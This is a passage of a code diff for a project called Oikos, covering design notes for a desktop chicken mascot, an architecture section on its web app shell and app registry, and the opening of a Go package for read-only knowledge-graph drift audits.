| MASC-1 | The mascot SHALL render as pixel-art from bundled 16x16 PNG sprite sheets (chicken + egg packs), not code-drawn string grids | User request (relaxed from "code-drawn" during implementation — see plan deviation note) | Implemented |
|
||||||
| MASC-2 | The mascot SHALL roam the desktop surface autonomously, walking along the ground (surface bottom, above the taskbar) under gravity | User request + design decision | Planned |
|
| MASC-2 | The mascot SHALL roam the desktop surface autonomously, walking along the ground (surface bottom, above the taskbar, OR the top edge of any non-minimized window beneath it) under gravity | User request + design decision | Implemented |
|
||||||
| MASC-3 | The mascot SHALL be draggable with the mouse; releasing it mid-air SHALL trigger a flutter-fall back to the ground | User request + design decision | Planned |
|
| MASC-3 | The mascot SHALL be draggable with the mouse; releasing it mid-air SHALL trigger a flutter-fall back to the ground | User request + design decision | Implemented |
|
||||||
| MASC-4 | Right-clicking the mascot SHALL open a round (Sims-style) interaction menu supporting nested submenus | User request | Planned |
|
| MASC-4 | Right-clicking the mascot SHALL open an interaction menu supporting nested submenus; rendered as a rounded-button column (relaxed from "round/Sims-style" — see plan deviation note) | User request | Implemented |
|
||||||
| MASC-5 | The mascot SHALL have a tamagotchi lifecycle: egg → chick → adult, with a user-assignable name | User request | Planned |
|
| MASC-5 | The mascot SHALL have a tamagotchi lifecycle: egg → chick → adult, with a user-assignable name; the egg → chick transition fires on first naming, not on a timed incubation | User request | Implemented |
|
||||||
| MASC-6 | The mascot's stage, name, and stats SHALL persist across reloads | User request (implied by "tamagotchi") | Planned |
|
| MASC-6 | The mascot's stage, name, and stats SHALL persist across reloads | User request (implied by "tamagotchi") | Implemented |
|
||||||
| MASC-7 | The mascot SHALL have idle states (autonomous behavior when untouched) and interactive states (drag, click, menu) | User request | Planned |
|
| MASC-7 | The mascot SHALL have idle states (autonomous behavior when untouched) and interactive states (drag, click, menu) | User request | Implemented |
|
||||||
| MASC-8 | The mascot SHALL react visibly to real application activity: chat streaming, knowledge-graph writes, critical signals | User request ("aware of its environment... feels alive and connected") | Planned |
|
| MASC-8 | The mascot SHALL react visibly to real application activity: chat streaming, knowledge-graph writes, critical signals | User request ("aware of its environment... feels alive and connected") | Implemented |
|
||||||
| MASC-9 | Animations, behaviors, menu actions, and reactions SHALL each be defined in a single data-driven registry, so a new one can be added without touching the engine code | User request ("easily expansible") | Planned |
|
| MASC-9 | Animations, behaviors, menu actions, and reactions SHALL each be defined in a single data-driven registry, so a new one can be added without touching the engine code | User request ("easily expansible") | Implemented |
|
||||||
| MASC-10 (NFR) | The mascot's game loop SHALL run at ~30fps via `setTimeout`, not `requestAnimationFrame`, matching the repo's existing [`GraphBackground.svelte`](../../web/src/lib/components/GraphBackground.svelte) convention (rAF suspends in some hidden-tab embeddings) | Codebase convention | Planned |
|
| MASC-10 (NFR) | The mascot's game loop SHALL run via `setTimeout`, not `requestAnimationFrame`, matching the repo's existing [`GraphBackground.svelte`](../../web/src/lib/components/GraphBackground.svelte) convention (rAF suspends in some hidden-tab embeddings); runs at ~60fps (relaxed from 30fps for smoother drag/fall — see plan deviation note) | Codebase convention | Implemented |
|
||||||
| MASC-11 (NFR) | The mascot SHALL never write to the API; all mutation is local (localStorage) | Design decision, this document §1 | Planned |
|
| MASC-11 (NFR) | The mascot SHALL never write to the API; all mutation is local (localStorage) | Design decision, this document §1 | Implemented |
|
||||||
| MASC-12 (NFR) | Persistence writes SHALL be debounced (~300ms), never per animation frame | Codebase convention ([`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) | Planned |
|
| MASC-12 (NFR) | Persistence writes SHALL be debounced (~300ms), never per animation frame | Codebase convention ([`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) | Implemented |
|
||||||
|
|
||||||
## 3. Structural View
|
## 3. Structural View
|
||||||
|
|
||||||
@@ -206,7 +212,7 @@ explicit before any of it is coded.
|
|||||||
```mermaid
|
```mermaid
|
||||||
stateDiagram-v2
|
stateDiagram-v2
|
||||||
[*] --> egg
|
[*] --> egg
|
||||||
egg --> chick : hatchProgress reaches 1\n(advanceStageIfReady)
|
egg --> chick : first naming submitted\n(forceHatch: hatchProgress=1)
|
||||||
|
|
||||||
state chick_and_adult_behaviors {
|
state chick_and_adult_behaviors {
|
||||||
[*] --> idle
|
[*] --> idle
|
||||||
@@ -214,14 +220,17 @@ stateDiagram-v2
|
|||||||
wander --> idle
|
wander --> idle
|
||||||
idle --> peck : weighted random pick
|
idle --> peck : weighted random pick
|
||||||
peck --> idle
|
peck --> idle
|
||||||
|
idle --> hop : weighted random pick
|
||||||
|
hop --> idle : touchdown\n(off-edge mid-hop hands to falling)
|
||||||
idle --> sleep : weighted random pick
|
idle --> sleep : weighted random pick
|
||||||
sleep --> idle
|
sleep --> idle
|
||||||
wander --> falling : y below ground\n(off a dragged edge, etc.)
|
wander --> falling : y below ground\n(off a dragged edge, etc.)
|
||||||
idle --> dragged : pointerdown + move\npast 5px threshold
|
idle --> dragged : pointerdown + move\npast 5px threshold
|
||||||
wander --> dragged : pointerdown + move
|
wander --> dragged : pointerdown + move
|
||||||
sleep --> dragged : pointerdown + move\n(interrupts sleep)
|
sleep --> dragged : pointerdown + move\n(interrupts sleep)
|
||||||
dragged --> falling : pointerup, released mid-air
|
dragged --> falling : pointerup, released mid-air\n(toss velocity from pointer history)
|
||||||
falling --> land : y reaches ground
|
falling --> falling : hard impact\n(one diminished bounce)
|
||||||
|
falling --> land : y reaches ground\n(sideways momentum -> skid)
|
||||||
land --> idle
|
land --> idle
|
||||||
[*] --> react : stimulus dispatched\n(priority/cooldown gated)
|
[*] --> react : stimulus dispatched\n(priority/cooldown gated)
|
||||||
react --> idle : durationMs elapsed,\nreturns to prior-or-idle
|
react --> idle : durationMs elapsed,\nreturns to prior-or-idle
|
||||||
@@ -238,19 +247,35 @@ returns null past `behaviorUntil` — see
|
|||||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
||||||
for the concrete weights.
|
for the concrete weights.
|
||||||
|
|
||||||
|
**Physics feel (implemented 2026-07-20, second pass):** the fall is a
|
||||||
|
losing attempt at flight, not a drop — wing-beat impulses on a
|
||||||
|
speed-scaled, jittered flap cycle (panic flapping) shave the descent;
|
||||||
|
falls faster than terminal velocity (hard downward tosses) decay back
|
||||||
|
under drag instead of clamping; hard impacts bounce once, squash via a
|
||||||
|
damped-spring render layer scaled by impact speed, and poof a burst of
|
||||||
|
feather pixels; sideways momentum becomes a friction skid on touchdown
|
||||||
|
and ricochets off the surface's side bounds mid-fall; the sprite
|
||||||
|
stretches along its motion in the air and tilts into horizontal velocity
|
||||||
|
(fall, drag, and skid); walking bobs at step frequency. All of it is
|
||||||
|
tuning in `behavior.ts` plus the pure render layer in `Mascot.svelte`'s
|
||||||
|
`updateJuice()` — no new assets, no new states beyond `hop`.
|
||||||
|
|
||||||
### 4.2 Tamagotchi lifecycle (long-lived state)
|
### 4.2 Tamagotchi lifecycle (long-lived state)
|
||||||
|
|
||||||
```mermaid
|
```mermaid
|
||||||
stateDiagram-v2
|
stateDiagram-v2
|
||||||
[*] --> egg : first load,\ndefaultModel()
|
[*] --> egg : first load,\ndefaultModel()
|
||||||
egg --> chick : active time >= HATCH_MS (3min)\n+ NameDialog shown
|
egg --> chick : first naming submitted\n(forceHatch sets hatchProgress=1)\n+ NameDialog shown
|
||||||
chick --> adult : xp >= ADULT_XP (200)
|
chick --> adult : xp >= ADULT_XP (200)
|
||||||
adult --> [*]
|
adult --> [*]
|
||||||
```
|
```
|
||||||
|
|
||||||
This is a separate state machine from §4.1: §4.1 governs frame-to-frame
|
This is a separate state machine from §4.1: §4.1 governs frame-to-frame
|
||||||
motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
|
motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
|
||||||
(persisted, ticked ~1x/sec via `tickLifecycle`, not every frame).
|
(persisted, ticked ~1x/sec via `tickLifecycle`, not every frame). The
|
||||||
|
egg → chick transition fires on first naming, not on a timed incubation
|
||||||
|
— see the deviation note in
|
||||||
|
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md).
|
||||||
|
|
||||||
### 4.3 Example sequence — an environment stimulus becomes a visible reaction
|
### 4.3 Example sequence — an environment stimulus becomes a visible reaction
|
||||||
|
|
||||||
@@ -258,18 +283,27 @@ motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
|
|||||||
sequenceDiagram
|
sequenceDiagram
|
||||||
participant SSE as stores/events.ts (SSE)
|
participant SSE as stores/events.ts (SSE)
|
||||||
participant Stim as stimuli.ts attachStimuli
|
participant Stim as stimuli.ts attachStimuli
|
||||||
|
participant Layer as MascotLayer.svelte (emit callback)
|
||||||
participant FSM as behavior.ts
|
participant FSM as behavior.ts
|
||||||
participant Mascot as Mascot.svelte (canvas)
|
participant Mascot as Mascot.svelte (canvas)
|
||||||
|
|
||||||
SSE->>Stim: liveEvents updates,\nnew head event severity=critical
|
SSE->>Stim: liveEvents updates,\nnew head event severity=critical
|
||||||
Stim->>Stim: check REACTIONS['alarmed']\ncooldown + priority
|
Stim->>Stim: check REACTIONS['alarmed']\ncooldown + priority
|
||||||
Stim->>FSM: forceBehavior(rt, 'react', {anim: 'react-alarm', durationMs})
|
Stim->>Layer: emit(reaction)
|
||||||
|
Layer->>Layer: if model.stage === 'egg': drop\n(egg isn't "alive" yet)
|
||||||
|
Layer->>FSM: forceBehavior(rt, 'react', {anim, durationMs})
|
||||||
FSM->>FSM: interrupts current behavior\n(even sleep, interruptsSleep=true)
|
FSM->>FSM: interrupts current behavior\n(even sleep, interruptsSleep=true)
|
||||||
FSM->>Mascot: rt.behavior = 'react', rt.anim = 'react-alarm'
|
FSM->>Mascot: rt.behavior = 'react', rt.anim = 'react-alarm'
|
||||||
Mascot->>Mascot: next 30fps tick draws\nreact-alarm frame
|
Mascot->>Mascot: next ~60fps tick draws\nreact-alarm frame + bubble
|
||||||
Note over FSM: after durationMs,\nnext() returns to idle
|
Note over FSM: after durationMs,\nnext() returns to idle
|
||||||
```
|
```
|
||||||
|
|
||||||
|
**Egg-stage suppression:** MascotLayer's `emit` callback drops any
|
||||||
|
reaction when `model.stage === 'egg'`. The egg isn't "alive" yet (no
|
||||||
|
name, no hatched chick to react), so stimulus events are silently
|
||||||
|
ignored until the egg hatches — this keeps the egg calm during the
|
||||||
|
naming dialog rather than playing alarm animations behind it.
|
||||||
|
|
||||||
## 5. Interfaces View
|
## 5. Interfaces View
|
||||||
|
|
||||||
**Stakeholders:** an engineer wiring a new store into the mascot's
|
**Stakeholders:** an engineer wiring a new store into the mascot's
|
||||||
@@ -281,7 +315,7 @@ awareness, or auditing what it depends on.
|
|||||||
| [`stores/chat.ts`](../../web/src/lib/stores/chat.ts) `streaming` | consumed | `Writable<boolean>` | false→true edge triggers the `thinking` reaction, held while true |
|
| [`stores/chat.ts`](../../web/src/lib/stores/chat.ts) `streaming` | consumed | `Writable<boolean>` | false→true edge triggers the `thinking` reaction, held while true |
|
||||||
| [`stores/activity.ts`](../../web/src/lib/stores/activity.ts) `activityLog` | consumed | derived `Readable<ActivityEntry[]>`, **recomputed wholesale** on every emission — not append-only | new entries with `type === 'knowledge'` detected by diffing entry `id`s between emissions, not by treating it as a stream |
|
| [`stores/activity.ts`](../../web/src/lib/stores/activity.ts) `activityLog` | consumed | derived `Readable<ActivityEntry[]>`, **recomputed wholesale** on every emission — not append-only | new entries with `type === 'knowledge'` detected by diffing entry `id`s between emissions, not by treating it as a stream |
|
||||||
| [`stores/context.ts`](../../web/src/lib/stores/context.ts) `summary` | consumed | `Writable<DashboardSummary\|null>` | ambient state (open signal counts via `openSignalCount(summary)`) |
|
| [`stores/context.ts`](../../web/src/lib/stores/context.ts) `summary` | consumed | `Writable<DashboardSummary\|null>` | ambient state (open signal counts via `openSignalCount(summary)`) |
|
||||||
| `localStorage['oikos-mascot']` | owned | `MascotModel` JSON, `{ version: 1, stage, name, hatchProgress, happiness, xp, hatchedAt, lastPos: {x}, lastSeen }` | debounced write (~300ms, mirrors [`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) + `beforeunload` flush; `version` field reserved for a future `migrate()`; multi-tab is last-writer-wins (accepted, documented, not solved) |
|
| `localStorage['oikos-mascot']` | owned | `MascotModel` JSON, `{ version: 1, stage, name, hatchProgress, happiness, xp, hatchedAt, lastPos: {x}, lastSeen }` (hatchProgress is binary 0/1: 0 until first naming, 1 after) | debounced write (~300ms, mirrors [`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) + `beforeunload` flush; `version` field reserved for a future `migrate()`; multi-tab is last-writer-wins (accepted, documented, not solved) |
|
||||||
| [`Desktop.svelte`](../../web/src/lib/components/desktop-shell/Desktop.svelte) mount | owned | `<MascotLayer />`, 2-line insertion | see §3 |
|
| [`Desktop.svelte`](../../web/src/lib/components/desktop-shell/Desktop.svelte) mount | owned | `<MascotLayer />`, 2-line insertion | see §3 |
|
||||||
|
|
||||||
No interface in this table is a write path to the Oikos API — consistent
|
No interface in this table is a write path to the Oikos API — consistent
|
||||||
@@ -310,13 +344,15 @@ Manual browser checklist (no automated test harness planned for v1 — see
|
|||||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
||||||
for the same list in implementation-order context):
|
for the same list in implementation-order context):
|
||||||
|
|
||||||
- Egg renders grounded at the surface bottom, wiggles occasionally, survives
|
- Egg renders grounded at the surface bottom, wiggles gently while the
|
||||||
a reload at the same x (confirm `oikos-mascot` is debounced — no writes
|
name dialog is open, and survives a reload at the same x (confirm
|
||||||
fire from mere walking, only from discrete transitions).
|
`oikos-mascot` is debounced — no writes fire from mere walking, only
|
||||||
|
from discrete transitions).
|
||||||
- Dragging the egg up and releasing triggers a flutter-fall with no
|
- Dragging the egg up and releasing triggers a flutter-fall with no
|
||||||
tunneling below the taskbar; dragging past the surface edges clamps.
|
tunneling below the taskbar; dragging past the surface edges clamps.
|
||||||
- Forcing hatch (debug menu action) transitions to chick, opens the name
|
- A fresh egg (no name) opens the name dialog on mount; submitting it
|
||||||
dialog, and the name persists across reload.
|
hatches to chick; the name persists across reload. The debug "Force
|
||||||
|
hatch" action does the same without prompting.
|
||||||
- Chick wanders and flips sprite at surface edges, pecks, sleeps
|
- Chick wanders and flips sprite at surface edges, pecks, sleeps
|
||||||
autonomously; a plain click (no drag) triggers a pet/hop reaction.
|
autonomously; a plain click (no drag) triggers a pet/hop reaction.
|
||||||
- Right-clicking the chicken opens the radial menu centered on it, without
|
- Right-clicking the chicken opens the radial menu centered on it, without
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ the relevant section here.
|
|||||||
| [6. PostgreSQL/TimescaleDB](#6-postgresqltimescaledb) | `migrations/`, `seeds/` | ✅ live — the System's own source of truth |
|
| [6. PostgreSQL/TimescaleDB](#6-postgresqltimescaledb) | `migrations/`, `seeds/` | ✅ live — the System's own source of truth |
|
||||||
| [7. Dormant components](#7-dormant-components) | `internal/actuator`, `internal/learning` | 🔴 compiled, never started |
|
| [7. Dormant components](#7-dormant-components) | `internal/actuator`, `internal/learning` | 🔴 compiled, never started |
|
||||||
| [8. Auxiliary components](#8-auxiliary-components) | `cmd/webhook`, `cmd/desktop` | ✅ live — deploy + packaging, not decision logic |
|
| [8. Auxiliary components](#8-auxiliary-components) | `cmd/webhook`, `cmd/desktop` | ✅ live — deploy + packaging, not decision logic |
|
||||||
|
| [9. web control room — App architecture](#9-web-control-room--app-architecture) | `web/src/lib/apps.ts`, `web/src/lib/stores/windows.ts`, `web/src/lib/stores/docked.ts`, `web/src/lib/components/desktop-shell/` | ✅ live — the OS + Apps shell contract |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -364,7 +365,11 @@ cross-origin (the Wails desktop webview, §8).
|
|||||||
Standalone deploy, versioned and released independently of the `oikos`
|
Standalone deploy, versioned and released independently of the `oikos`
|
||||||
binary — see [README.md §4.5](README.md#45-build--release-artifacts) for
|
binary — see [README.md §4.5](README.md#45-build--release-artifacts) for
|
||||||
why "deployed" means two different release cadences depending on whether
|
why "deployed" means two different release cadences depending on whether
|
||||||
you mean the container or the desktop app.
|
you mean the container or the desktop app. The shell-level architecture
|
||||||
|
(window manager, app registry, docked layer) is documented separately as
|
||||||
|
[§9 below](#9-web-control-room--app-architecture); this section covers
|
||||||
|
the page-level concerns, §9 covers the OS + Apps contract the pages hang
|
||||||
|
off.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -496,6 +501,177 @@ functional sense.
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## 9. web control room — App architecture
|
||||||
|
|
||||||
|
**Stakeholders:** anyone adding a page, adding a desktop overlay, or
|
||||||
|
planning dynamic/third-party app installation. **Why this View earns its
|
||||||
|
place:** §5 documents the *pages*; this View documents the *shell* they
|
||||||
|
hang off — and the shell is the part whose contract a new app has to
|
||||||
|
satisfy. It is also the layer where the "Oikos-as-OS" metaphor
|
||||||
|
(desktop, icons, floating windows, a tamagotchi-style resident
|
||||||
|
creature) is actually implemented, so the boundary between "Base OS" and
|
||||||
|
"App" has to be explicit here or it doesn't exist anywhere.
|
||||||
|
|
||||||
|
### App architecture — Internal structure
|
||||||
|
|
||||||
|
| File | Role |
|
||||||
|
|---|---|
|
||||||
|
| `web/src/lib/apps.ts` | The App registry. Two layers: `builtinApps` (static, always installed) + `installedAppIds` (persisted, from the App Store). The public `apps` store is derived (built-in + installed); `appById` is a derived Map. `installApp`/`uninstallApp` mutate the installed set. Window-id helpers (`appWindowId`, `appIdFromWindowId`) unchanged. |
|
||||||
|
| `web/src/app-store/catalog.ts` | The installable-app catalog: `AppManifest` (persistable metadata) + `CatalogEntry` (manifest + Lucide icon + dynamic-import loader). Static in Phase 3 (apps ship with the build); Phase 4 swaps this for a fetched `/api/v1/apps` endpoint. Declares `AppPermission` (enforcement is Phase 4). |
|
||||||
|
| `web/src/app-store/apps/Notes.svelte` | Demo installable app — a localStorage-backed scratchpad proving the install→icon→window→uninstall lifecycle end-to-end. |
|
||||||
|
| `web/src/lib/stores/windows.ts` | The wmkit window manager singleton + the `openAppWindow` / `openEntityWindow` / `openTaskWindow` primitives. `openAppWindow` branches on `docked` (toggles visibility) vs windowed (`wm.open`); resolves the app via `get(appById)`. |
|
||||||
|
| `web/src/lib/stores/docked.ts` | Persisted visibility for docked apps. Absent key = visible (default-on); store holds only overrides. Deliberately does **not** import `APPS` — doing so would create a static cycle (`apps.ts` → pages → `windows.ts` → here → `apps.ts`) and fire a TDZ on `APPS` at init. |
|
||||||
|
| `web/src/lib/stores/icons.ts` | Desktop icon grid: column/row positions, drag-to-reorder, localStorage persistence. Reactive to the `apps` store — a newly-installed app gets a free cell on the next emission; `resetIconLayout` re-seeds from the live registry, not a static snapshot. |
|
||||||
|
| `web/src/lib/components/LazyApp.svelte` | Renders an app's lazily-loaded component (`AppDef.component` is a dynamic-import loader, not the component). Shows the shared spinner while the chunk fetches; used by both WindowLayer and DockedLayer so the loading state is uniform across app kinds. Vite's module cache makes repeat opens resolve from cache. |
|
||||||
|
| `web/src/lib/components/desktop-shell/Desktop.svelte` | Full-viewport surface: background, icons, task launcher, `<WindowLayer />`, `<DockedLayer />`, taskbar. Reads `$apps` (the derived store) so installs reflect immediately. |
|
||||||
|
| `web/src/lib/components/desktop-shell/WindowLayer.svelte` | Floating-window stack (z-40). Resolves window id → content component; renders shared titlebar chrome. The orphan-close `$effect` is reactive on `$appById` — reinstalling an app revives its persisted window, uninstalling closes it. |
|
||||||
|
| `web/src/lib/components/desktop-shell/DockedLayer.svelte` | Docked-app overlay (z-45). Renders `$apps.filter(a => a.docked)` gated on `dockedVisibility`. Replaces the previously-hardcoded `<MascotLayer />`. |
|
||||||
|
| `web/src/lib/components/desktop-shell/Taskbar.svelte` | Window buttons + tray. Renders from `wmState.order`; resolves icons via `$appById`. |
|
||||||
|
| `web/src/pages/AppStore.svelte` | The App Store — lists the catalog, shows install state, install/uninstall. Installing makes the app appear on the desktop immediately (no reload) via the reactive `apps` store; uninstalling closes any open window for that app via WindowLayer's orphan-close effect. |
|
||||||
|
|
||||||
|
### App architecture — The App contract
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
interface AppDef {
|
||||||
|
id: string // unique; window IDs are "app:<id>"
|
||||||
|
title: string // desktop icon label + window titlebar
|
||||||
|
icon: Component // Lucide icon (desktop icon + taskbar)
|
||||||
|
component: () => Promise<{ default: Component }> // dynamic-import loader
|
||||||
|
docked?: boolean // true = Docked Layer app, no window
|
||||||
|
noIcon?: boolean // true = registered but no desktop icon
|
||||||
|
width?: number; height?: number; minWidth?: number; minHeight?: number
|
||||||
|
// required for windowed, forbidden for docked
|
||||||
|
badge?: (s: DashboardSummary | null) => number
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`component` is a dynamic-import loader (`() => import('../pages/X.svelte')`),
|
||||||
|
not the component itself. Desktop icons render from metadata alone (id,
|
||||||
|
title, icon — all static), the component chunk fetches on first window
|
||||||
|
open, and Vite code-splits each app into its own chunk (Phase 2). The
|
||||||
|
mascot uses the same path — `() => import('./mascot/MascotLayer.svelte')`
|
||||||
|
— which also defers the mascot's module graph until after `apps.ts` has
|
||||||
|
finished initializing, breaking what would otherwise be a static cycle
|
||||||
|
(`apps.ts` → `MascotLayer` → `Mascot.svelte` → `icons.ts` → `apps.ts`).
|
||||||
|
|
||||||
|
Two app kinds, picked by one flag:
|
||||||
|
|
||||||
|
| Kind | Window | Titlebar | Taskbar | Opened by |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| **Windowed** (default) | wmkit floating window | yes | yes | `openAppWindow` → `wm.open` |
|
||||||
|
| **Docked** (`docked: true`) | none — renders on the Docked Layer | no | no | `openAppWindow` → `toggleDocked` |
|
||||||
|
|
||||||
|
Apps receive **no props** from the shell. They import the OS-service
|
||||||
|
surface (below) directly. The shell→app edge is one-way.
|
||||||
|
|
||||||
|
### App architecture — The OS-service surface (AppOS)
|
||||||
|
|
||||||
|
The stable set of `$lib` exports an App may import. Everything else in
|
||||||
|
`$lib` is shell-internal and may change without notice. This is a
|
||||||
|
**documentation contract** today (apps are compiled in); it becomes an
|
||||||
|
**enforced sandbox boundary** the moment third-party app installation
|
||||||
|
(Phase 3 in [the plan](../../plans/2026-07-21-frontend-os-apps-architecture.md)) lands.
|
||||||
|
|
||||||
|
| Service | Import |
|
||||||
|
|---|---|
|
||||||
|
| Open an app window | `openAppWindow(id)` from `$lib/stores/windows` |
|
||||||
|
| Open an entity window | `openEntityWindow(slug)` from `$lib/stores/windows` |
|
||||||
|
| Open a task window | `openTaskWindow(sessionId, title)` from `$lib/stores/windows` |
|
||||||
|
| Dashboard summary | `summary`, `subscribeContext` from `$lib/stores/context` |
|
||||||
|
| Live events | `subscribeEvents` from `$lib/stores/events` |
|
||||||
|
| Per-session chat / workspace / activity | `chatFor`, `workspaceFor`, `activityLogFor` from `$lib/stores/{chat,workspace,activity}` |
|
||||||
|
| REST API | `$lib/api` (generated from OpenAPI, [ADR-0004](../adr/0004-openapi-first.md)) |
|
||||||
|
| UI primitives | `$lib/components/ui/*` |
|
||||||
|
| Theme | `getTheme`, `setTheme` from `$lib/stores/theme.svelte` |
|
||||||
|
|
||||||
|
### App architecture — Content resolution
|
||||||
|
|
||||||
|
Window ids are namespaced so the window layer resolves content purely
|
||||||
|
from the id, with no extra bookkeeping — which is also why persisted
|
||||||
|
windows hydrate correctly across reloads:
|
||||||
|
|
||||||
|
| Id shape | Renders |
|
||||||
|
|---|---|
|
||||||
|
| `app:<id>` | the registry app's component (`appById.get(id).component`) |
|
||||||
|
| `session:<id>` | `SessionChatWindow` (per-session chat) |
|
||||||
|
| `new-task` | `NewTaskChat` (singleton compose) |
|
||||||
|
| bare slug (`type:identifier`) | `EntityDetailContent` (fallback) |
|
||||||
|
|
||||||
|
A hydrated `app:<id>` window whose id no longer matches a registry entry
|
||||||
|
(an app removed since the layout was persisted) self-closes — the
|
||||||
|
orphan-close `$effect` in `WindowLayer.svelte` sweeps it on mount.
|
||||||
|
|
||||||
|
### App architecture — Current population
|
||||||
|
|
||||||
|
Seven windowed apps + one docked app:
|
||||||
|
|
||||||
|
| App | Kind | Badge |
|
||||||
|
|---|---|---|
|
||||||
|
| `tasks` | windowed | — |
|
||||||
|
| `kb` | windowed | — |
|
||||||
|
| `ops` | windowed | `approvals_pending` |
|
||||||
|
| `signals` | windowed | open signal count |
|
||||||
|
| `knowledge` | windowed | — |
|
||||||
|
| `learning` | windowed | — |
|
||||||
|
| `settings` | windowed | — |
|
||||||
|
| `mascot` (Cluck) | **docked** | — |
|
||||||
|
|
||||||
|
The mascot is the first docked app and the reason the docked kind
|
||||||
|
exists; before this View it was a hardcoded `<MascotLayer />` in
|
||||||
|
`Desktop.svelte`, not a registry entry. Its persistent model
|
||||||
|
(`web/src/lib/mascot/state.svelte.ts`, localStorage) and sprite cache
|
||||||
|
(`sprites.ts`) are module-scoped, so toggling visibility (unmount) and
|
||||||
|
restoring (remount) loses no state — this is why `docked` visibility is
|
||||||
|
a plain `{#if}` gate rather than a `keepAlive` mechanism.
|
||||||
|
|
||||||
|
### App architecture — Designed extension points (documented, not built)
|
||||||
|
|
||||||
|
| Extension | Mechanism when built | Trigger |
|
||||||
|
|---|---|---|
|
||||||
|
| Titlebar actions | `titlebarActions?: Component` on `AppDef`, rendered left of min/max/close | First app that needs one |
|
||||||
|
| App-scoped state | `state?: () => Record<string, unknown>` on `AppDef` | First app with cross-mount state that isn't module-scoped |
|
||||||
|
| `onRegister` handshake | called with a scoped AppOS capability object | Phase 3 (dynamic install) |
|
||||||
|
| Third-party manifests | `AppManifest` JSON + `/api/v1/apps` + permission model | Phase 3 |
|
||||||
|
|
||||||
|
Documenting these now prevents the current contract from painting itself
|
||||||
|
into a corner; building them now would be speculative. (Lazy-loaded
|
||||||
|
components were on this list and shipped in Phase 2 — `component` is now
|
||||||
|
`() => Promise<{ default: Component }>` and Vite code-splits each app.)
|
||||||
|
|
||||||
|
### App architecture — Status and known issues
|
||||||
|
|
||||||
|
Phase 1 (the docked kind, mascot-as-app, the docked visibility store) and
|
||||||
|
Phase 2 (lazy component loading — `component` as dynamic-import loader,
|
||||||
|
`LazyApp.svelte` for uniform loading state, per-app code-splitting) have
|
||||||
|
landed. Open items, by phase:
|
||||||
|
|
||||||
|
- **Phase 3 (dynamic install):** the AppOS table above becomes a real
|
||||||
|
injected capability object, not a documentation table; permissions
|
||||||
|
enforced at the store-access boundary; `AppManifest` format +
|
||||||
|
`/api/v1/apps` endpoint + install flow.
|
||||||
|
- **Late-registering apps (Phase 3 prerequisite):** `icons.ts:48` builds
|
||||||
|
`appIds` once at module load to validate persisted positions — fine
|
||||||
|
today (all apps are in the static `APPS` array; only their components
|
||||||
|
are lazy), fragile the moment apps register post-load. When dynamic
|
||||||
|
registration lands, revalidate against the live registry, not the
|
||||||
|
import-time snapshot. Likewise `WindowLayer`'s orphan-close `$effect`
|
||||||
|
must be gated on registry-ready so a not-yet-loaded app's persisted
|
||||||
|
window isn't killed on hydration.
|
||||||
|
|
||||||
|
The static-cycle trap that bit this View during Phase 1 implementation is
|
||||||
|
now resolved by Phase 2's lazy loading — recording it for context:
|
||||||
|
|
||||||
|
- `apps.ts` no longer statically imports any page or the mascot (they're
|
||||||
|
all `() => import(...)`), so there's no static edge from `apps.ts` into
|
||||||
|
the mascot/page module graph to cycle through `icons.ts` back to `APPS`.
|
||||||
|
The earlier `LazyMascot.svelte` wrapper (Phase 1's cycle break) was
|
||||||
|
deleted in Phase 2 — the lazy loader in the registry replaces it.
|
||||||
|
`docked.ts` still must not import `APPS` (it's reached from `apps.ts`'s
|
||||||
|
graph via `windows.ts`), and doesn't — defaults are implicit
|
||||||
|
(absent key = visible).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Keeping this document current
|
## Keeping this document current
|
||||||
|
|
||||||
The same discipline as README.md's closing note applies here, scoped to
|
The same discipline as README.md's closing note applies here, scoped to
|
||||||
|
|||||||
133
internal/audit/audit.go
Normal file
133
internal/audit/audit.go
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
// Package audit produces read-only drift reports over the knowledge graph and
|
||||||
|
// monitoring state. It is the shared engine behind the
|
||||||
|
// /api/v1/audit/drift endpoint and the audit_knowledge_graph MCP tool.
|
||||||
|
//
|
||||||
|
// It surfaces the structural gaps an operator otherwise discovers only by
|
||||||
|
// accident: orphan check entities, checks targeting retired entities, probes
|
||||||
|
// stuck down/unknown, unmonitored declared types, and live edges pointing at
|
||||||
|
// destroyed/deprecated targets. Live-infra discovery (pct/docker/certs) is a
|
||||||
|
// follow-up that needs host-hop execution; these categories are pure DB
|
||||||
|
// queries, so the report is cheap, safe to run unattended, and testable.
|
||||||
|
package audit
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Finding is one drift item the operator should look at.
|
||||||
|
type Finding struct {
|
||||||
|
Category string `json:"category"`
|
||||||
|
Severity string `json:"severity"` // info | warning | critical
|
||||||
|
Count int `json:"count"`
|
||||||
|
Entities []string `json:"entities"`
|
||||||
|
Evidence string `json:"evidence"`
|
||||||
|
SuggestedRunbook string `json:"suggested_runbook"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// Summary tallies findings by category.
|
||||||
|
type Summary struct {
|
||||||
|
